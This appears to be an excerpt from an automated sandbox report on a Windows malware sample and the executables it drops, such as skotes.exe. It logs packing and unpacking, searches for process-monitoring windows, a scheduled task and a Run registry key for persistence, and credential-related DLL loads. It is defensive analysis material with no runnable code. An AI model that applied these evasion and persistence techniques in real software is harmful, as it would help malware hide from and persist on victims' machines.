Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Section loaded: dpapi.dll

Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2947072 > 1048576

Source: file.exe

Static PE information: Raw size of qtagrrkd is bigger than: 0x100000 < 0x2a6200

Source:	Binary string: UxTheme.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wininet.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: UMPDC.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: rsaenh.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: xWindows.Security.Integrity.pdb source: firefox.exe, 00000015.00000003.1939564900.0000010CA97F0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: bcrypt.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: rpcrt4.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ktmw32.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: WscApi.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: pnrpnsp.pdb source: firefox.exe, 00000015.00000003.1950016156.0000010CA4EAC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcrt.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: webauthn.pdbGCTL source: firefox.exe, 00000015.00000003.1943335325.0000010CAB601000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: xul.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: shcore.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nssckbi.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: cryptsp.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: shell32.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: sspicli.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: cryptsp.pdb0 4px 16px rgba(12, 12, 13, 0.1) source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ntmarta.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: CLBCatQ.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: urlmon.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: shlwapi.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: winhttp.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: netprofm.pdb source: firefox.exe, 00000015.00000003.1944889051.0000010CA4EA8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msimg32.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ntasn1.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: win32u.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d3d11.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: netprofm.pdbUGP source: firefox.exe, 00000015.00000003.1944889051.0000010CA4EA8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: firefox.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dbghelp.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: srvcli.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: freebl3.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: webauthn.pdb source: firefox.exe, 00000015.00000003.1943335325.0000010CAB601000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: profapi.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: gdi32.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ws2_32.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dbgcore.pdb8 source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: avrt.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: WLDP.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: sechost.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: propsys.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: z:\task_1551543573\build\openh264\gmpopenh264.pdb source: gmpopenh264.dll.tmp.21.dr
Source:	Binary string: winmm.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ole32.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: version.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dbgcore.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: user32.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: msasn1.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: z:\task_1551543573\build\openh264\gmpopenh264.pdbV source: gmpopenh264.dll.tmp.21.dr
Source:	Binary string: psapi.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: DWrite.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: pnrpnsp.pdbUGP source: firefox.exe, 00000015.00000003.1950016156.0000010CA4EAC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ncrypt.pdb source: firefox.exe, 00000015.00000003.1932667988.0000010CAAC88000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wsock32.pdb source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: crypt32.pdb source: firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Unpacked PE file: 3.2.FAMTYULW1YWOKDICAUX3Y390M.exe.d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;dxmeshoa:EW;odcdjryq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;dxmeshoa:EW;odcdjryq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Unpacked PE file: 4.2.EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.2c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yoiwrcva:EW;jttglrmm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yoiwrcva:EW;jttglrmm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 9.2.skotes.exe.e70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yoiwrcva:EW;jttglrmm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yoiwrcva:EW;jttglrmm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 10.2.skotes.exe.e70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yoiwrcva:EW;jttglrmm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yoiwrcva:EW;jttglrmm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 29.2.skotes.exe.e70000.1.unpack :EW;.rsrc:W;.idata :W; :EW;yoiwrcva:EW;jttglrmm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yoiwrcva:EW;jttglrmm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Unpacked PE file: 31.2.bf119f2261.exe.30000.0.unpack :EW;.rsrc :W;.idata :W;qtagrrkd:EW;hxekdemw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;qtagrrkd:EW;hxekdemw:EW;.taggant:EW;

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_00FD42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00FD42DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe0.29.dr	Static PE information: real checksum: 0x1cc2ce should be: 0x1073fb
Source: 014cda2328.exe.29.dr	Static PE information: real checksum: 0x1cc2ce should be: 0x1073fb
Source: random[1].exe.29.dr	Static PE information: real checksum: 0x2d614b should be: 0x2dbaac
Source: skotes.exe.4.dr	Static PE information: real checksum: 0x1dc87c should be: 0x1d5b82
Source: bf119f2261.exe.29.dr	Static PE information: real checksum: 0x2d614b should be: 0x2dbaac
Source: file.exe	Static PE information: real checksum: 0x2d614b should be: 0x2dbaac
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.0.dr	Static PE information: real checksum: 0x1dc87c should be: 0x1d5b82
Source: FAMTYULW1YWOKDICAUX3Y390M.exe.0.dr	Static PE information: real checksum: 0x1cc2ce should be: 0x1d0539

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: qtagrrkd
Source: file.exe	Static PE information: section name: hxekdemw
Source: file.exe	Static PE information: section name: .taggant
Source: FAMTYULW1YWOKDICAUX3Y390M.exe.0.dr	Static PE information: section name:
Source: FAMTYULW1YWOKDICAUX3Y390M.exe.0.dr	Static PE information: section name: .rsrc
Source: FAMTYULW1YWOKDICAUX3Y390M.exe.0.dr	Static PE information: section name: .idata
Source: FAMTYULW1YWOKDICAUX3Y390M.exe.0.dr	Static PE information: section name:
Source: FAMTYULW1YWOKDICAUX3Y390M.exe.0.dr	Static PE information: section name: dxmeshoa
Source: FAMTYULW1YWOKDICAUX3Y390M.exe.0.dr	Static PE information: section name: odcdjryq
Source: FAMTYULW1YWOKDICAUX3Y390M.exe.0.dr	Static PE information: section name: .taggant
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.0.dr	Static PE information: section name:
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.0.dr	Static PE information: section name: .idata
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.0.dr	Static PE information: section name:
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.0.dr	Static PE information: section name: yoiwrcva
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.0.dr	Static PE information: section name: jttglrmm
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: yoiwrcva
Source: skotes.exe.4.dr	Static PE information: section name: jttglrmm
Source: skotes.exe.4.dr	Static PE information: section name: .taggant
Source: gmpopenh264.dll.tmp.21.dr	Static PE information: section name: .rodata
Source: random[1].exe.29.dr	Static PE information: section name:
Source: random[1].exe.29.dr	Static PE information: section name: .rsrc
Source: random[1].exe.29.dr	Static PE information: section name: .idata
Source: random[1].exe.29.dr	Static PE information: section name: qtagrrkd
Source: random[1].exe.29.dr	Static PE information: section name: hxekdemw
Source: random[1].exe.29.dr	Static PE information: section name: .taggant
Source: bf119f2261.exe.29.dr	Static PE information: section name:
Source: bf119f2261.exe.29.dr	Static PE information: section name: .rsrc
Source: bf119f2261.exe.29.dr	Static PE information: section name: .idata
Source: bf119f2261.exe.29.dr	Static PE information: section name: qtagrrkd
Source: bf119f2261.exe.29.dr	Static PE information: section name: hxekdemw
Source: bf119f2261.exe.29.dr	Static PE information: section name: .taggant
Source: random[1].exe0.29.dr	Static PE information: section name:
Source: random[1].exe0.29.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.29.dr	Static PE information: section name: .idata
Source: random[1].exe0.29.dr	Static PE information: section name:
Source: random[1].exe0.29.dr	Static PE information: section name: dxmeshoa
Source: random[1].exe0.29.dr	Static PE information: section name: odcdjryq
Source: random[1].exe0.29.dr	Static PE information: section name: .taggant
Source: 014cda2328.exe.29.dr	Static PE information: section name:
Source: 014cda2328.exe.29.dr	Static PE information: section name: .rsrc
Source: 014cda2328.exe.29.dr	Static PE information: section name: .idata
Source: 014cda2328.exe.29.dr	Static PE information: section name:
Source: 014cda2328.exe.29.dr	Static PE information: section name: dxmeshoa
Source: 014cda2328.exe.29.dr	Static PE information: section name: odcdjryq
Source: 014cda2328.exe.29.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E69FE7 push 137C88B1h; iretd	0_3_05E69FEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E67BE0 pushad ; retf	0_3_05E67BE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E68360 pushad ; retf	0_3_05E68361
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E67E68 pushad ; retf	0_3_05E67E69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E689FB push ss; iretd	0_3_05E68A1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E68378 pushad ; retf	0_3_05E68379
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E69EC6 push esi; ret	0_3_05E69ECB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E65640 pushad ; retf	0_3_05E65641
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E67FD0 pushad ; retf	0_3_05E67FD1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E67F58 pushad ; retf	0_3_05E67F59
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E67FA0 pushad ; retf	0_3_05E67FA1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E67CA0 pushad ; retf	0_3_05E67CA1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E68228 pushad ; retf	0_3_05E68229
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E685B8 pushad ; retf	0_3_05E685B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E68A38 push ss; ret	0_3_05E68A3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E68510 pushad ; retf	0_3_05E68511
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E68498 pushad ; retf	0_3_05E68499
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01860ED2 push 0000001Ah; retf	0_3_01860ED4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01860ECA push 0000001Ah; retf	0_3_01860ED4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01860ECA push 0000001Ah; retf	0_3_01860ED4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01860ECA push 0000001Ah; retf	0_3_01860ED4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0185CF54 push eax; iretd	0_3_0185CF55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0185CF54 push eax; iretd	0_3_0185CF55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0185CF54 push eax; iretd	0_3_0185CF55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0185CF54 push eax; iretd	0_3_0185CF55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0185C350 push eax; ret	0_3_0185C351
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0185C350 push eax; ret	0_3_0185C351
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0185C350 push eax; ret	0_3_0185C351
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0185C350 push eax; ret	0_3_0185C351
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0185CB50 push eax; retf	0_3_0185CB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0185CB50 push eax; retf	0_3_0185CB51

Source: file.exe	Static PE information: section name: entropy: 7.975445311171827
Source: FAMTYULW1YWOKDICAUX3Y390M.exe.0.dr	Static PE information: section name: dxmeshoa entropy: 7.95381965342411
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.0.dr	Static PE information: section name: entropy: 7.981615115760419
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.0.dr	Static PE information: section name: yoiwrcva entropy: 7.953837970190753
Source: skotes.exe.4.dr	Static PE information: section name: entropy: 7.981615115760419
Source: skotes.exe.4.dr	Static PE information: section name: yoiwrcva entropy: 7.953837970190753
Source: random[1].exe.29.dr	Static PE information: section name: entropy: 7.975445311171827
Source: bf119f2261.exe.29.dr	Static PE information: section name: entropy: 7.975445311171827
Source: random[1].exe0.29.dr	Static PE information: section name: dxmeshoa entropy: 7.932186283397047
Source: 014cda2328.exe.29.dr	Static PE information: section name: dxmeshoa entropy: 7.932186283397047

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\1000350002\014cda2328.exe	Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bf119f2261.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bf119f2261.exe

